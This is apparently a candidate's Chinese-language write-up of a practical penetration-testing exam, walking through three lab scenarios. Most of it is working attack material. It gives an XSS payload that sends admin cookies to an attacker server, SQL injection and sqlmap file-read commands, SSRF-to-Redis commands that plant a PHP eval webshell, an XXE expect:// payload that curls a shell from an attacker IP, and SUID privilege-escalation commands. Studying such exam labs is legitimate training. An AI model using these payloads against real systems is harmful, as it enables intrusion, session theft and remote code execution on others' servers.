xChar
·11 days ago

pts的考试从报名到考试不到半个月,刷题有基础的很好过,因为很多题如果培训了的话基本上都是原题,但是有些题培训机构也不知道,就比如这次考试,最后一道大题,最里面的服务是nacos,而nacos没exp,尝试了常用的弱口令,没进去就没做了,最有的题只有2个key(20分),如果保证前面的key都获取到了没问题就已经有80分了,只有有70分以上就及格。

讲一下我考试遇到的题

场景1

xss+sqli+文件读取,比较简单

xss需要攻击机器用python起web服务,然后插入payload,这里也就是利用存储型xss漏洞写入payload,获取管理员的cookie。

<script>document.write('<img src="http://ip:1234/?cookie='+document.cookie+'" />')</script>

获取到管理员cookie

通过浏览器右键页面-检查,选择应用,找到存储-cookie,替换成管理员的cookie

Pasted image 20241028150907

sqli payload

http://ip:3603/admin/edit.php?id=12312/**/UniOn/**/SeLEct/**/1,2,load_file("/var/key2"),4#

或者sqlmap跑

http://IP:3603/admin/edit.php?id=11 (GET)  
# sqlmap.py -u http://10.52.0.29:3603/admin/edit.php?id=11 --cookie=PHPSESSID=732ece3c4dcdba588d48593d689bf927 --dbms mysql --file-read /var/key2

任意文件读取

http://IP:3603/admin/setting.php?page=/tmp/key3

场景2

ssrf+redis getshell

ssrf:目录扫描robots.txt,下载backup.zip压缩包,解压得到一个txt文件,会给一个web端口,题目给的搜索框输入http://localhost:1234,获取第一个key

redis getshell:

写webshell

dict://localhost:6379/flushall
dict://localhost:6379/set:1:'<?php eval($_POST[1]);?>'
dict://localhost:6379/config:set:dir:/var/www/html/app1
dict://localhost:6379/config:set:dbfilename:a.php
dict://localhost:6379/save

写私钥

Pasted image 20241028151536

获取第二个key,第三个key在任务计划中

场景3

一个xxe漏洞

通过expect写入webshell,expect可执行命令,通过在攻击机起web服务,curl去请求

执行命令

<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://id">]><p>&b;</p>

写入shell

<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://curl$IFS$9-O$IFS$9'192.168.80.48:8088/shell.php'">]><p>&b;</p>

提权

find / -perm -u=s -type f 2>/dev/null
find 1 -exec 1s /root \;
Loading comments...